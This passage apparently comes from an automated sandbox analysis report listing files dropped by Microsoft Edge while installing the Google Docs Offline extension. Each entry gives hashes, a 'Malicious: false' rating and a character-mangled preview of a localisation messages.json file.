Preview:	{.. "createnew": {.. "message": "NIEUW MAKEN".. },.. "explanationofflinedisabled": {.. "message": "Je bent offline. Wil je Google Documenten zonder internetverbinding gebruiken, ga dan de volgende keer dat je verbinding met internet hebt naar 'Instellingen' op de homepage van Google Documenten en zet 'Offline synchronisatie' aan.".. },.. "explanationofflineenabled": {.. "message": "Je bent offline, maar je kunt nog wel beschikbare bestanden bewerken of nieuwe bestanden maken.".. },.. "extdesc": {.. "message": "Bewerk, maak en bekijk je documenten, spreadsheets en presentaties. Allemaal zonder internettoegang.".. },.. "extname": {.. "message": "Offline Documenten".. },.. "learnmore": {.. "message": "Meer informatie".. },.. "popuphelptext": {.. "message": "Overal schrijven, bewerken en samenwerken, met of zonder internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4064_1954717725\CRX_INSTALL\_locales\no\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	878
Entropy (8bit):	4.4541485835627475
Encrypted:	false
SSDEEP:	24:1HAqwwrJ6wky68uk+NILxRGJwBvDyrj9V:nwwQwky6W+NwswVyT
MD5:	A1744B0F53CCF889955B95108367F9C8
SHA1:	6A5A6771DFF13DCB4FD425ED839BA100B7123DE0
SHA-256:	21CEFF02B45A4BFD60D144879DFA9F427949A027DD49A3EB0E9E345BD0B7C9A8
SHA-512:	F55E43F14514EECB89F6727A0D3C234149609020A516B193542B5964D2536D192F40CC12D377E70C683C269A1BDCDE1C6A0E634AA84A164775CFFE776536A961
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPPRETT NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du er uten nett. For . bruke Google Dokumenter uten internettilkobling, g. til innstillingene p. Google Dokumenter-nettsiden og sl. p. synkronisering uten nett neste gang du er koblet til Internett.".. },.. "explanationofflineenabled": {.. "message": "Du er uten nett, men du kan likevel endre tilgjengelige filer eller opprette nye.".. },.. "extdesc": {.. "message": "Rediger, opprett og se dokumentene, regnearkene og presentasjonene dine . uten nettilgang.".. },.. "extname": {.. "message": "Google Dokumenter uten nett".. },.. "learnmore": {.. "message": "Finn ut mer".. },.. "popuphelptext": {.. "message": "Skriv, rediger eller samarbeid uansett hvor du er, med eller uten internettilkobling.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4064_1954717725\CRX_INSTALL\_locales\pa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2766
Entropy (8bit):	3.839730779948262
Encrypted:	false
SSDEEP:	48:YEH6/o0iZbNCbDMUcipdkNtQjsGKIhO9aBjj/nxt9o5nDAj3:p6wbZbEbvJ8jQkIhO9aBjb/90Ab
MD5:	97F769F51B83D35C260D1F8CFD7990AF
SHA1:	0D59A76564B0AEE31D0A074305905472F740CECA
SHA-256:	BBD37D41B7DE6F93948FA2437A7699D4C30A3C39E736179702F212CB36A3133C
SHA-512:	D91F5E2D22FC2D7F73C1F1C4AF79DB98FCFD1C7804069AE9B2348CBC729A6D2DFF7FB6F44D152B0BDABA6E0D05DFF54987E8472C081C4D39315CEC2CBC593816
Malicious:	false
Preview:	{"createnew":{"message":"\u0a28\u0a35\u0a3e\u0a02 \u0a2c\u0a23\u0a3e\u0a13"},"explanationofflinedisabled":{"message":"\u0a24\u0a41\u0a38\u0a40\u0a02 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a39\u0a4b\u0964 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a15\u0a28\u0a48\u0a15\u0a36\u0a28 \u0a26\u0a47 \u0a2c\u0a3f\u0a28\u0a3e\u0a02 Google Docs \u0a28\u0a42\u0a70 \u0a35\u0a30\u0a24\u0a23 \u0a32\u0a08, \u0a05\u0a17\u0a32\u0a40 \u0a35\u0a3e\u0a30 \u0a1c\u0a26\u0a4b\u0a02 \u0a24\u0a41\u0a38\u0a40\u0a02 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a26\u0a47 \u0a28\u0a3e\u0a32 \u0a15\u0a28\u0a48\u0a15\u0a1f \u0a39\u0a4b\u0a35\u0a4b \u0a24\u0a3e\u0a02 Google Docs \u0a2e\u0a41\u0a71\u0a16 \u0a2a\u0a70\u0a28\u0a47 '\u0a24\u0a47 \u0a38\u0a48\u0a1f\u0a3f\u0a70\u0a17\u0a3e\u0a02 \u0a35\u0a3f\u0a71\u0a1a \u0a1c\u0a3e\u0a13 \u0a05\u0a24\u0a47 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a38\u0a3f\u0a70\u0a15 \u0a28\u0a42\u0a70 \u0a1a\u0a3e\u0a32\u0a42 \u0a15\u0a30\u0a4b\u0964"},"expla

C:\Users\user\AppData\Local\Temp\scoped_dir4064_1954717725\CRX_INSTALL\_locales\pl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	978
Entropy (8bit):	4.879137540019932
Encrypted:	false
SSDEEP:	24:1HApiJiRelvm3wi8QAYcbm24sK+tFJaSDD:FJMx3whxYcbNp
MD5:	B8D55E4E3B9619784AECA61BA15C9C0F
SHA1:	B4A9C9885FBEB78635957296FDDD12579FEFA033
SHA-256:	E00FF20437599A5C184CA0C79546CB6500171A95E5F24B9B5535E89A89D3EC3D
SHA-512:	266589116EEE223056391C65808255EDAE10EB6DC5C26655D96F8178A41E283B06360AB8E08AC3857D172023C4F616EF073D0BEA770A3B3DD3EE74F5FFB2296B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "UTW.RZ NOWY".. },.. "explanationofflinedisabled": {.. "message": "Jeste. offline. Aby korzysta. z Dokument.w Google bez po..czenia internetowego, otw.rz ustawienia na stronie g..wnej Dokument.w Google i w..cz synchronizacj. offline nast.pnym razem, gdy b.dziesz mie. dost.p do internetu.".. },.. "explanationofflineenabled": {.. "message": "Jeste. offline, ale nadal mo.esz edytowa. dost.pne pliki i tworzy. nowe.".. },.. "extdesc": {.. "message": "Edytuj, tw.rz i wy.wietlaj swoje dokumenty, arkusze kalkulacyjne oraz prezentacje bez konieczno.ci ..czenia si. z internetem.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Wi.cej informacji".. },.. "popuphelptext": {.. "message": "Pisz, edytuj i wsp..pracuj, gdziekolwiek jeste. . niezale.nie od tego, czy masz po..czenie z internetem.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4064_1954717725\CRX_INSTALL\_locales\pt_BR\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	907
Entropy (8bit):	4.599411354657937
Encrypted:	false
SSDEEP:	12:1HASvgU30CBxNd6GwXOK1styCJ02OK9+4KbCBxed6X4LBAt4rXgUCSUuYDHIIQka:1HAcXlyCJ5+Tsz4LY4rXSw/Q+ftkC
MD5:	608551F7026E6BA8C0CF85D9AC11F8E3
SHA1:	87B017B2D4DA17E322AF6384F82B57B807628617
SHA-256:	A73EEA087164620FA2260D3910D3FBE302ED85F454EDB1493A4F287D42FC882F
SHA-512:	82F52F8591DB3C0469CC16D7CBFDBF9116F6D5B5D2AD02A3D8FA39CE1378C64C0EA80AB8509519027F71A89EB8BBF38A8702D9AD26C8E6E0F499BF7DA18BF747
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Voc. est. off-line. Para usar o Documentos Google sem conex.o com a Internet, na pr.xima vez que se conectar, acesse as configura..es na p.gina inicial do Documentos Google e ative a sincroniza..o off-line.".. },.. "explanationofflineenabled": {.. "message": "Voc. est. off-line, mas mesmo assim pode editar os arquivos dispon.veis ou criar novos arquivos.".. },.. "extdesc": {.. "message": "Edite, crie e veja seus documentos, planilhas e apresenta..es sem precisar de acesso . Internet.".. },.. "extname": {.. "message": "Documentos Google off-line".. },.. "learnmore": {.. "message": "Saiba mais".. },.. "popuphelptext": {.. "message": "Escreva, edite e colabore onde voc. estiver, com ou sem conex.o com a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4064_1954717725\CRX_INSTALL\_locales\pt_PT\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.604761241355716
Encrypted:	false
SSDEEP:	24:1HAcXzw8M+N0STDIjxX+qxCjKw5BKriEQFMJXkETs:zXzw0pKXbxqKw5BKri3aNY
MD5:	0963F2F3641A62A78B02825F6FA3941C
SHA1:	7E6972BEAB3D18E49857079A24FB9336BC4D2D48
SHA-256:	E93B8E7FB86D2F7DFAE57416BB1FB6EE0EEA25629B972A5922940F0023C85F90
SHA-512:	22DD42D967124DA5A2209DD05FB6AD3F5D0D2687EA956A22BA1E31C56EC09DEB53F0711CD5B24D672405358502E9D1C502659BB36CED66CAF83923B021CA0286
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est. offline. Para utilizar o Google Docs sem uma liga..o . Internet, aceda .s defini..es na p.gina inicial do Google Docs e ative a sincroniza..o offline da pr.xima vez que estiver ligado . Internet.".. },.. "explanationofflineenabled": {.. "message": "Est. offline, mas continua a poder editar os ficheiros dispon.veis ou criar novos ficheiros.".. },.. "extdesc": {.. "message": "Edite, crie e veja os documentos, as folhas de c.lculo e as apresenta..es, tudo sem precisar de aceder . Internet.".. },.. "extname": {.. "message": "Google Docs offline".. },.. "learnmore": {.. "message": "Saber mais".. },.. "popuphelptext": {.. "message": "Escreva edite e colabore onde quer que esteja, com ou sem uma liga..o . Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4064_1954717725\CRX_INSTALL\_locales\ro\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	937
Entropy (8bit):	4.686555713975264
Encrypted:	false
SSDEEP:	24:1HA8dC6e6w+uFPHf2TFMMlecFpweWV4RE:pC6KvHf4plVweCx
MD5:	BED8332AB788098D276B448EC2B33351
SHA1:	6084124A2B32F386967DA980CBE79DD86742859E
SHA-256:	085787999D78FADFF9600C9DC5E3FF4FB4EB9BE06D6BB19DF2EEF8C284BE7B20
SHA-512:	22596584D10707CC1C8179ED3ABE46EF2C314CF9C3D0685921475944B8855AAB660590F8FA1CFDCE7976B4BB3BD9ABBBF053F61F1249A325FD0094E1C95692ED
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREEAZ. UN DOCUMENT".. },.. "explanationofflinedisabled": {.. "message": "E.ti offline. Pentru a utiliza Documente Google f.r. conexiune la internet, intr. .n set.rile din pagina principal. Documente Google .i activeaz. sincronizarea offline data viitoare c.nd e.ti conectat(.) la internet.".. },.. "explanationofflineenabled": {.. "message": "E.ti offline, dar po.i .nc. s. editezi fi.ierele disponibile sau s. creezi altele.".. },.. "extdesc": {.. "message": "Editeaz., creeaz. .i acceseaz. documente, foi de calcul .i prezent.ri - totul f.r. acces la internet.".. },.. "extname": {.. "message": "Documente Google Offline".. },.. "learnmore": {.. "message": "Afl. mai multe".. },.. "popuphelptext": {.. "message": "Scrie, editeaz. .i colaboreaz. oriunde ai fi, cu sau f.r. conexiune la internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4064_1954717725\CRX_INSTALL\_locales\ru\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1337
Entropy (8bit):	4.69531415794894
Encrypted:	false
SSDEEP:	24:1HABEapHTEmxUomjsfDVs8THjqBK8/hHUg41v+Lph5eFTHQ:I/VdxUomjsre8Kh4Riph5eFU
MD5:	51D34FE303D0C90EE409A2397FCA437D
SHA1:	B4B9A7B19C62D0AA95D1F10640A5FBA628CCCA12
SHA-256:	BE733625ACD03158103D62BC0EEF272CA3F265AC30C87A6A03467481A177DAE3
SHA-512:	E8670DED44DC6EE30E5F41C8B2040CF8A463CD9A60FC31FA70EB1D4C9AC1A3558369792B5B86FA761A21F5266D5A35E5C2C39297F367DAA84159585C19EC492A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......".. },.. "explanationofflinedisabled": {.. "message": "..... ............ Google ......... ... ........., ............ . .... . ......... ............. . ......-...... . .......... .. ......... .........".. },.. "explanationofflineenabled": {.. "message": "... ........... . .......... .. ...... ......... ..... ..... . ............. .., . ....... ........ ......-.......".. },.. "extdesc": {.. "message": ".........., .............. . ............ ........., ....... . ........... ... ....... . ..........".. },.. "extname": {.. "message": "Google.......... ......".. },.. "learnmore": {.

C:\Users\user\AppData\Local\Temp\scoped_dir4064_1954717725\CRX_INSTALL\_locales\si\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2846
Entropy (8bit):	3.7416822879702547
Encrypted:	false
SSDEEP:	48:YWi+htQTKEQb3aXQYJLSWy7sTQThQTnQtQTrEmQ6kiLsegQSJFwsQGaiPn779I+S:zhiTK5b3tUGVjTGTnQiTryOLpyaxYf/S
MD5:	B8A4FD612534A171A9A03C1984BB4BDD
SHA1:	F513F7300827FE352E8ECB5BD4BB1729F3A0E22A
SHA-256:	54241EBE651A8344235CC47AFD274C080ABAEBC8C3A25AFB95D8373B6A5670A2
SHA-512:	C03E35BFDE546AEB3245024EF721E7E606327581EFE9EAF8C5B11989D9033BDB58437041A5CB6D567BAA05466B6AAF054C47F976FD940EEEDF69FDF80D79095B
Malicious:	false
Preview:	{"createnew":{"message":"\u0db1\u0dc0 \u0dbd\u0dda\u0d9b\u0db1\u0dba\u0d9a\u0dca \u0dc3\u0dcf\u0daf\u0db1\u0dca\u0db1"},"explanationofflinedisabled":{"message":"\u0d94\u0db6 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2\u0dba. \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd \u0dc3\u0db8\u0dca\u0db6\u0db1\u0dca\u0db0\u0dad\u0dcf\u0dc0\u0d9a\u0dca \u0db1\u0ddc\u0db8\u0dd0\u0dad\u0dd2\u0dc0 Google Docs \u0db7\u0dcf\u0dc0\u0dd2\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8\u0da7, Google Docs \u0db8\u0dd4\u0dbd\u0dca \u0db4\u0dd2\u0da7\u0dd4\u0dc0 \u0db8\u0dad \u0dc3\u0dd0\u0d9a\u0dc3\u0dd3\u0db8\u0dca \u0dc0\u0dd9\u0dad \u0d9c\u0ddc\u0dc3\u0dca \u0d94\u0db6 \u0d8a\u0dc5\u0d9f \u0d85\u0dc0\u0dc3\u0dca\u0dae\u0dcf\u0dc0\u0dda \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd\u0dba\u0da7 \u0dc3\u0db6\u0dd0\u0db3\u0dd2 \u0dc0\u0dd2\u0da7 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2 \u0dc3\u0db8\u0db8\u0dd4\u0dc4\u0dd4\u0dbb\u0dca\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8 \u0d9a\u0dca\u200d\u0dbb\u0dd2\u0dba\u0dc

C:\Users\user\AppData\Local\Temp\scoped_dir4064_1954717725\CRX_INSTALL\_locales\sk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	4.882122893545996
Encrypted:	false
SSDEEP:	24:1HAF8pMv1RS4LXL22IUjdh8uJwpPqLDEtxKLhSS:hyv1RS4LXx38u36QsS
MD5:	8E55817BF7A87052F11FE554A61C52D5
SHA1:	9ABDC0725FE27967F6F6BE0DF5D6C46E2957F455
SHA-256:	903060EC9E76040B46DEB47BBB041D0B28A6816CB9B892D7342FC7DC6782F87C
SHA-512:	EFF9EC7E72B272DDE5F29123653BC056A4BC2C3C662AE3C448F8CB6A4D1865A0679B7E74C1B3189F3E262109ED6BC8F8D2BDE14AEFC8E87E0F785AE4837D01C7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVORI. NOV.".. },.. "explanationofflinedisabled": {.. "message": "Ste offline. Ak chcete pou.i. Dokumenty Google bez pripojenia na internet, po najbli..om pripojen. na internet prejdite do nastaven. na domovskej str.nke Dokumentov Google a.zapnite offline synchroniz.ciu.".. },.. "explanationofflineenabled": {.. "message": "Ste offline, no st.le m..ete upravova. dostupn. s.bory a.vytv.ra. nov..".. },.. "extdesc": {.. "message": ".prava, tvorba a.zobrazenie dokumentov, tabuliek a.prezent.ci.. To v.etko bez pr.stupu na internet.".. },.. "extname": {.. "message": "Dokumenty Google v re.ime offline".. },.. "learnmore": {.. "message": ".al.ie inform.cie".. },.. "popuphelptext": {.. "message": "P..te, upravujte a.spolupracuje, kdeko.vek ste, a.to s.pripojen.m na internet aj bez neho.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4064_1954717725\CRX_INSTALL\_locales\sl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	963
Entropy (8bit):	4.6041913416245
Encrypted:	false
SSDEEP:	12:1HASvgfECBxNFCEuKXowwJrpvPwNgEcPJJJEfWOCBxeFCJuGuU4KYXCSUXKDxX4A:1HAXMKYw8VYNLcaeDmKYLdX2zJBG5
MD5:	BFAEFEFF32813DF91C56B71B79EC2AF4
SHA1:	F8EDA2B632610972B581724D6B2F9782AC37377B
SHA-256:	AAB9CF9098294A46DC0F2FA468AFFF7CA7C323A1A0EFA70C9DB1E3A4DA05D1D4
SHA-512:	971F2BBF5E9C84DE3D31E5F2A4D1A00D891A2504F8AF6D3F75FC19056BFD059A270C4C9836AF35258ABA586A1888133FB22B484F260C1CBC2D1D17BC3B4451AA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "USTVARI NOVO".. },.. "explanationofflinedisabled": {.. "message": "Nimate vzpostavljene povezave. .e .elite uporabljati Google Dokumente brez internetne povezave, odprite nastavitve na doma.i strani Google Dokumentov in vklopite sinhronizacijo brez povezave, ko naslednji. vzpostavite internetno povezavo.".. },.. "explanationofflineenabled": {.. "message": "Nimate vzpostavljene povezave, vendar lahko .e vedno urejate razpolo.ljive datoteke ali ustvarjate nove.".. },.. "extdesc": {.. "message": "Urejajte, ustvarjajte in si ogledujte dokumente, preglednice in predstavitve . vse to brez internetnega dostopa.".. },.. "extname": {.. "message": "Google Dokumenti brez povezave".. },.. "learnmore": {.. "message": "Ve. o tem".. },.. "popuphelptext": {.. "message": "Pi.ite, urejajte in sodelujte, kjer koli ste, z internetno povezavo ali brez nje.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4064_1954717725\CRX_INSTALL\_locales\sr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1320
Entropy (8bit):	4.569671329405572
Encrypted:	false
SSDEEP:	24:1HArg/fjQg2JwrfZtUWTrw1P4epMnRGi5TBmuPDRxZQ/XtiCw/Rwh/Q9EVz:ogUg2JwDZe6rwKI8VTP9xK1CwhI94
MD5:	7F5F8933D2D078618496C67526A2B066
SHA1:	B7050E3EFA4D39548577CF47CB119FA0E246B7A4
SHA-256:	4E8B69E864F57CDDD4DC4E4FAF2C28D496874D06016BC22E8D39E0CB69552769
SHA-512:	0FBAB56629368EEF87DEEF2977CA51831BEB7DEAE98E02504E564218425C751853C4FDEAA40F51ECFE75C633128B56AE105A6EB308FD5B4A2E983013197F5DBA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ....".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. ..... ......... Google ......... ... ........ ...., ..... . .......... .. ........ ........ Google .......... . ........ ...... .............. ... ....... ... ...... ........ .. ...........".. },.. "explanationofflineenabled": {.. "message": "...... ..., ... . .... ...... .. ....... ...... . ........ ........ ... .. ....... .....".. },.. "extdesc": {.. "message": "....... . ........... ........., ...... . ............ . ....... ...... . ... . ... .. ... ........ .........".. },.. "extname": {.. "message

C:\Users\user\AppData\Local\Temp\scoped_dir4064_1954717725\CRX_INSTALL\_locales\sv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	884
Entropy (8bit):	4.627108704340797
Encrypted:	false
SSDEEP:	24:1HA0NOYT/6McbnX/yzklyOIPRQrJlvDymvBd:vNOcyHnX/yg0P4Bymn
MD5:	90D8FB448CE9C0B9BA3D07FB8DE6D7EE
SHA1:	D8688CAC0245FD7B886D0DEB51394F5DF8AE7E84
SHA-256:	64B1E422B346AB77C5D1C77142685B3FF7661D498767D104B0C24CB36D0EB859
SHA-512:	6D58F49EE3EF0D3186EA036B868B2203FE936CE30DC8E246C32E90B58D9B18C624825419346B62AF8F7D61767DBE9721957280AA3C524D3A5DFB1A3A76C00742
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKAPA NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du .r offline. Om du vill anv.nda Google Dokument utan internetuppkoppling, .ppna inst.llningarna p. Google Dokuments startsida och aktivera offlinesynkronisering n.sta g.ng du .r ansluten till internet.".. },.. "explanationofflineenabled": {.. "message": "Du .r offline, men det g.r fortfarande att redigera tillg.ngliga filer eller skapa nya.".. },.. "extdesc": {.. "message": "Redigera, skapa och visa dina dokument, kalkylark och presentationer . helt utan internet.tkomst.".. },.. "extname": {.. "message": "Google Dokument Offline".. },.. "learnmore": {.. "message": "L.s mer".. },.. "popuphelptext": {.. "message": "Skriv, redigera och samarbeta .verallt, med eller utan internetanslutning.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4064_1954717725\CRX_INSTALL\_locales\sw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	980
Entropy (8bit):	4.50673686618174
Encrypted:	false
SSDEEP:	12:1HASvgNHCBxNx1HMHyMhybK7QGU78oCuafIvfCBxex6EYPE5E1pOCSUJqONtCBh8:1HAGDQ3y0Q/Kjp/zhDoKMkeAT6dBaX
MD5:	D0579209686889E079D87C23817EDDD5
SHA1:	C4F99E66A5891973315D7F2BC9C1DAA524CB30DC
SHA-256:	0D20680B74AF10EF8C754FCDE259124A438DCE3848305B0CAF994D98E787D263
SHA-512:	D59911F91ED6C8FF78FD158389B4D326DAF4C031B940C399569FE210F6985E23897E7F404B7014FC7B0ACEC086C01CC5F76354F7E5D3A1E0DEDEF788C23C2978
Malicious:	false
Preview:	{.. "createnew": {.. "message": "FUNGUA MPYA".. },.. "explanationofflinedisabled": {.. "message": "Haupo mtandaoni. Ili uweze kutumia Hati za Google bila muunganisho wa intaneti, wakati utakuwa umeunganishwa kwenye intaneti, nenda kwenye sehemu ya mipangilio kwenye ukurasa wa kwanza wa Hati za Google kisha uwashe kipengele cha usawazishaji nje ya mtandao.".. },.. "explanationofflineenabled": {.. "message": "Haupo mtandaoni, lakini bado unaweza kubadilisha faili zilizopo au uunde mpya.".. },.. "extdesc": {.. "message": "Badilisha, unda na uangalie hati, malahajedwali na mawasilisho yako . yote bila kutumia muunganisho wa intaneti.".. },.. "extname": {.. "message": "Hati za Google Nje ya Mtandao".. },.. "learnmore": {.. "message": "Pata Maelezo Zaidi".. },.. "popuphelptext": {.. "message": "Andika hati, zibadilishe na ushirikiane na wengine popote ulipo, iwe una muunganisho wa intaneti au huna.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4064_1954717725\CRX_INSTALL\_locales\ta\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1941
Entropy (8bit):	4.132139619026436
Encrypted:	false
SSDEEP:	24:1HAoTZwEj3YfVLiANpx96zjlXTwB4uNJDZwq3CP1B2xIZiIH1CYFIZ03SoFyxrph:JCEjWiAD0ZXkyYFyPND1L/I
MD5:	DCC0D1725AEAEAAF1690EF8053529601
SHA1:	BB9D31859469760AC93E84B70B57909DCC02EA65
SHA-256:	6282BF9DF12AD453858B0B531C8999D5FD6251EB855234546A1B30858462231A
SHA-512:	6243982D764026D342B3C47C706D822BB2B0CAFFA51F0591D8C878F981EEF2A7FC68B76D012630B1C1EB394AF90EB782E2B49329EB6538DD5608A7F0791FDCF5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....... .........".. },.. "explanationofflinedisabled": {.. "message": ".......... ........... .... ....... ..... Google ......... .........., ...... .... ........... ......... ...., Google ... ................... ................ ......, ........ ......... ..........".. },.. "explanationofflineenabled": {.. "message": ".......... ..........., .......... .......... .......... ......... ........... ...... .....

C:\Users\user\AppData\Local\Temp\scoped_dir4064_1954717725\CRX_INSTALL\_locales\te\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1969
Entropy (8bit):	4.327258153043599
Encrypted:	false
SSDEEP:	48:R7jQrEONienBcFNBNieCyOBw0/kCcj+sEf24l+Q+u1LU4ljCj55ONipR41ssrNix:RjQJN1nBcFNBNlCyGcj+RXl+Q+u1LU4s
MD5:	385E65EF723F1C4018EEE6E4E56BC03F
SHA1:	0CEA195638A403FD99BAEF88A360BD746C21DF42
SHA-256:	026C164BAE27DBB36A564888A796AA3F188AAD9E0C37176D48910395CF772CEA
SHA-512:	E55167CB5638E04DF3543D57C8027B86B9483BFCAFA8E7C148EDED66454AEBF554B4C1CF3C33E93EC63D73E43800D6A6E7B9B1A1B0798B6BDB2F699D3989B052
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ...... ........ ......".. },.. "explanationofflinedisabled": {.. "message": ".... ........... ........ ......... ........ ....... Google Docs... .............., .... ............ ....... ..... ...... .... Google Docs .... ...... ............. ......, ........ ........ ... .......".. },.. "explanationofflineenabled": {.. "message": ".... ........... ......., .... .... ........ .......... .... ....... ..... ....... .... ..

C:\Users\user\AppData\Local\Temp\scoped_dir4064_1954717725\CRX_INSTALL\_locales\th\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1674
Entropy (8bit):	4.343724179386811
Encrypted:	false
SSDEEP:	48:fcGjnU3UnGKD1GeU3pktOggV1tL2ggG7Q:f3jnDG1eUk0g6RLE
MD5:	64077E3D186E585A8BEA86FF415AA19D
SHA1:	73A861AC810DABB4CE63AD052E6E1834F8CA0E65
SHA-256:	D147631B2334A25B8AA4519E4A30FB3A1A85B6A0396BC688C68DC124EC387D58
SHA-512:	56DD389EB9DD335A6214E206B3BF5D63562584394D1DE1928B67D369E548477004146E6CB2AD19D291CB06564676E2B2AC078162356F6BC9278B04D29825EF0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": ".............. ............. Google .................................... ............................... Google ...... .................................................................".. },.. "explanationofflineenabled": {.. "message": "................................................................".. },.. "extdesc": {.. "message": "..... ..... ........

C:\Users\user\AppData\Local\Temp\scoped_dir4064_1954717725\CRX_INSTALL\_locales\tr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1063
Entropy (8bit):	4.853399816115876
Encrypted:	false
SSDEEP:	24:1HAowYuBPgoMC4AGehrgGm7tJ3ckwFrXnRs5m:GYsPgrCtGehkGc3cvXr
MD5:	76B59AAACC7B469792694CF3855D3F4C
SHA1:	7C04A2C1C808FA57057A4CCEEE66855251A3C231
SHA-256:	B9066A162BEE00FD50DC48C71B32B69DFFA362A01F84B45698B017A624F46824
SHA-512:	2E507CA6874DE8028DC769F3D9DFD9E5494C268432BA41B51568D56F7426F8A5F2E5B111DDD04259EB8D9A036BB4E3333863A8FC65AAB793BCEF39EDFE41403B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN. OLU.TUR".. },.. "explanationofflinedisabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Google Dok.manlar'. .nternet ba.lant.s. olmadan kullanmak i.in, .nternet'e ba.lanabildi.inizde Google Dok.manlar ana sayfas.nda Ayarlar'a gidin ve .evrimd... senkronizasyonu etkinle.tirin.".. },.. "explanationofflineenabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Ancak, yine de mevcut dosyalar. d.zenleyebilir veya yeni dosyalar olu.turabilirsiniz.".. },.. "extdesc": {.. "message": "Dok.man, e-tablo ve sunu olu.turun, bunlar. d.zenleyin ve g.r.nt.leyin. T.m bu i.lemleri internet eri.imi olmadan yapabilirsiniz.".. },.. "extname": {.. "message": "Google Dok.manlar .evrimd...".. },.. "learnmore": {.. "message": "Daha Fazla Bilgi".. },.. "popuphelptext": {.. "message": ".nternet ba.lant.n.z olsun veya olmas.n, nerede olursan.z olun yaz.n, d.zenl

C:\Users\user\AppData\Local\Temp\scoped_dir4064_1954717725\CRX_INSTALL\_locales\uk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1333
Entropy (8bit):	4.686760246306605
Encrypted:	false
